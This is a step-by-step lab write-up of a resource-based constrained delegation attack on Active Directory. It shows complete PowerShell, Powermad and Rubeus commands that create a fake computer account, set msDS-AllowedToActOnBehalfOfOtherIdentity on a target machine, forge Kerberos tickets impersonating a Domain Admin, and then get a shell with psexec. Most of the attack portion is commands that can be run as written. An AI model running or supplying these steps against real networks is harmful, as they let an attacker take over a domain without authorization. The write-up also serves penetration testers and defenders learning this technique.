It's possible to gain code execution with elevated privileges on a computer if you have WRITE privilege on that computer's AD object.

High level overview of the attack:

• We have code execution on the box WS02 in the context of offense\sandy user

• User sandy has WRITE privilege over a target computer WS01

• User sandy creates a new computer object FAKE01 in Active Directory (no admin required)

• Sandy leverages WRITE privilege on the WS01 computer object and updates computer object's attribute msDS-AllowedToActOnBehalfOfOtherIdentity to enable the newly created computer FAKE01 to impersonate and authenticate any domain user that can then access the target system WS01. In human terms this means - the target computer WS01 is happy for the computer resource FAKE01 to impersonate any domain user if they want to access anything on WS01

• WS01 trusts FAKE01 (due to the modified msDS-AllowedToActOnBehalfOfOtherIdentity)

• We request kerberos tickets for FAKE01$ with ability to impersonate offense\spotless who is a Domain Admin

• Profit

This lab is based on a video presented by @wald0 - https://www.youtube.com/watch?v=RUbADHcBLKg&feature=youtu.be​

Requirements

Since the attack will entail creating a new computer object on the domain, let's check if users are allowed to do it - by default, a domain member usually can add up to 10 computers to the domain. To check this, we can query the root domain object and look for property ms-ds-machineaccountquota

Get-DomainObject -Identity "dc=offense,dc=local" -Domain offense.local

The attack also requires the DC to be running at least Windows 2012, so let's check if we're in the right environment:

Get-DomainController

Last thing to check - target computer WS01 object must not have the attribute msds-allowedtoactonbehalfofotheridentity set:

Get-NetComputer ws01 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

This is the attribute the above command is referring to:

Creating a new Computer Object

Let's now create a new computer object for our computer FAKE01 (as referenced earlier in the requirements table) - this is the computer that will be trusted by our target computer later on:

import-module powermad
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Checking if the computer got created and noting its SID:

Get-DomainComputer fake01
# computer SID: S-1-5-21-2552734371-813931464-1050690807-1154

Create a new raw security descriptor for the FAKE01 computer principal:

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2552734371-813931464-1050690807-1154)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

Modifying Target Computer's AD Object

Applying the security descriptor bytes to the target WS01 machine:

Get-DomainComputer ws01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

Reminder - we were able to write this because offense\Sandy belongs to security group offense\Operations, which has full control over the target computer WS01$ although the only important one/enough is the WRITE privilege:

​

If our user did not have the required privileges, you could infer that from the verbose error message:

Once the msDS-AllowedToActOnBehalfOfOtherIdentitity is set, it is visible here:

Same can be seen this way:

Get-DomainComputer ws01 -Properties 'msds-allowedtoactonbehalfofotheridentity'

We can test if the security descriptor assigned to computer ws01 in msds-allowedtoactonbehalfofotheridentity attribute refers to the fake01$ machine:

(New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl

Note that the SID is referring to S-1-5-21-2552734371-813931464-1050690807-1154 which is the fake01$ machine's SID - exactly what we want it to be:

Execution

Generating RC4 Hash

Let's generate the RC4 hash of the password we set for the FAKE01 computer:

\\VBOXSVR\Labs\Rubeus\Rubeus\bin\Debug\Rubeus.exe hash /password:123456 /user:fake01 /domain:offense.local

Impersonation

Once we have the hash, we can now attempt to execute the attack by requesting a kerberos ticket for fake01$ with ability to impersonate user spotless who is a Domain Admin:

\\VBOXSVR\Labs\Rubeus\Rubeus\bin\Debug\rubeus.exe s4u /user:fake01$ /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:spotless /msdsspn:cifs/ws01.offense.local /ptt

Unfortunately, in my labs, I was not able to replicate the attack even though according to the output of rubeus, all the required kerberos tickets were created successfully - I could not gain remote admin on the target system ws01:

Once again, checking kerberos tickets on the system showed that I had a ticket for spotless, but the attack still did not work:

Endless Trial and Error

Talking to a couple of folks who had successfully simulated this attack in their labs, we still could not figure out what the issue was. After repeating the the attack over and over and carrying out various other troubleshooting steps, I finally found what the issue was.

Note how the ticket is for the SPN cifs/ws01.offense.local and we get access denied when attempting to access the remote admin shares of ws01:

Note, howerver if we request a ticket for SPN cifs/ws01 - we can now access C$ share of the ws01 which means we have admin rights on the target system WS01:

\\VBOXSVR\Tools\Rubeus\Rubeus.exe s4u /user:fake01$ /domain:offense.local /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:spotless /msdsspn:http/ws01 /altservice:cifs,host /ptt

To further prove we have admin rights - we can write a simple file from ws02 to ws01 in c:\users\administrator:

Additionally, check if we can remotely execute code with our noisy friend psexec:

\\vboxsvr\tools\PsExec.exe \\ws01 cmd

References

​

​

​

​